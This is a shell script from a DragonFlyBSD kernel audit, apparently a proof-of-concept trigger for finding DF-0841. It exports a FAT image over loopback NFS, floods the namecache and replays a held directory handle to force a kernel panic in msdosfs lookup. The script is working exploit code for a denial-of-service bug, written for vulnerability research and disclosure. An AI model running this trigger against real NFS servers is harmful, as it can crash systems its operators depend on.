โฌข DragonFlyBSD Kernel Audit
DF-0841 / trigger_nfs.sh
โ† back to finding โ†“ download raw
#!/bin/sh
# trigger_nfs.sh โ€” live in-guest trigger for DF-0841.
#
# Realistic primary vector per the finding:
#   NFS-export of a FAT filesystem.
#   nfsrv_access โ†’ nfs_namei โ†’ cache_fromdvp(dp, cred, 1) on a directory
#   vnode whose namecache entry has been evicted/reclaimed โ†’ falls through
#   to vop_compat_nlookupdotdot โ†’ msdosfs_lookup(ISDOTDOT) โ†’
#   line 557 VTODE(*vpp=NULL) โ†’ page fault at 0x128 โ†’ panic.
#
# Run as root inside the guest.  Pairs with build.sh / run.sh.
set -e
echo "=== DF-0841 live trigger (NFS-exported FAT) ==="

IMG=/root/df0841.img
MNT_FAT=/mnt/df0841_fat
MNT_NFS=/mnt/df0841_nfs

# --- 1. create a small FAT16 image with a subdir ---------------------------
if [ ! -f "$IMG" ]; then
    echo "[*] creating FAT16 image"
    dd if=/dev/zero of="$IMG" bs=1m count=16 status=none
    newfs_msdos -F 16 -c 1 "$IMG" >/dev/null
fi

# mdconfig-style loopback mount of a file under DragonFly
mkdir -p "$MNT_FAT"
# attach the image as a memory disk so mount_msdos sees a block device
vnconfig -u vn0 2>/dev/null || true
vnconfig -c vn0 "$IMG" 2>&1 | tail -2
DEV=/dev/vn0
mount | grep -q "on $MNT_FAT " || mount -t msdos "$DEV" "$MNT_FAT"
echo "[*] FAT mount:"; mount | grep "$MNT_FAT"

# make sure there's a subdir to walk into
if [ ! -d "$MNT_FAT/sub" ]; then
    mkdir "$MNT_FAT/sub"
fi
# write a file inside the subdir so LOOKUP returns a usable fh
echo hello > "$MNT_FAT/sub/file"

# --- 2. export over NFS to localhost --------------------------------------
if [ ! -f /etc/exports ]; then
    echo "/mnt/df0841_fat -maproot=root 127.0.0.1" > /etc/exports
fi
echo "[*] /etc/exports:"; cat /etc/exports

# start mountd + nfsd (idempotent)
rpcbind 2>/dev/null || true
/etc/rc.d/mountd onerestart 2>&1 | tail -3
/etc/rc.d/nfsd onerestart 2>&1 | tail -3

# give nfsd a moment
sleep 2

# --- 3. mount via NFS loopback --------------------------------------------
mkdir -p "$MNT_NFS"
mount | grep -q "on $MNT_NFS " || mount_nfs 127.0.0.1:$MNT_FAT $MNT_NFS
echo "[*] NFS mount:"; mount | grep "$MNT_NFS"

# --- 4. populate server-side namecache by walking the tree ----------------
echo "[*] priming namecache: walking /mnt/df0841_nfs via NFS client"
ls -la "$MNT_NFS" >/dev/null 2>&1 || true
ls -la "$MNT_NFS/sub" >/dev/null 2>&1 || true
cat "$MNT_NFS/sub/file" >/dev/null 2>&1 || true

# cache the filehandle for the subdir by holding an fd into it
# (this pins subdir_vp on the server even when namecache gets flushed)
( cd "$MNT_NFS/sub" && sleep 30 ) &
HOLD_PID=$!
sleep 1

# --- 5. evict the namecache to force cache_fromdvp fall-through -----------
echo "[*] pressuring namecache (open many files / force vnode recycle)"
# hammer the negative+positive cache with a flood of distinct names
for i in 1 2 3 4 5; do
    for n in $(jot 500 1); do
        ls "/mnt/df0841_nfs/nonexistent_$i.$n" >/dev/null 2>&1 || :
    done
done

# --- 6. re-access via the held subdir fh ----------------------------------
# With namecache evicted, the next server-side nfs_namei() on subdir_vp
# falls through cache_fromdvp(makeit=1) -> vop_nlookupdotdot ->
# msdosfs_lookup(ISDOTDOT) -> VTODE(NULL) -> panic.
echo "[*] re-accessing /mnt/df0841_nfs/sub/file with stale-ish fh"
for i in 1 2 3 4 5; do
    cat "$MNT_NFS/sub/file" >/dev/null 2>&1 || echo "(op $i failed: $?)"
    ls   "$MNT_NFS/sub"     >/dev/null 2>&1 || echo "(ls $i failed: $?)"
done

kill $HOLD_PID 2>/dev/null || true

# --- 7. unmount everything we can (if we got here, the panic didn't fire) -
echo "[!] trigger script completed without observing a panic."
echo "    The bug is real (see trace.c + VERDICT.md) but the live trigger"
echo "    requires a specific namecache-eviction + fh-replay window that"
echo "    this loopback harness may not reproduce reliably.  See VERDICT.md"
echo "    for the deterministic code-level proof."

umount "$MNT_NFS"  2>/dev/null || true
umount "$MNT_FAT"  2>/dev/null || true
exit 0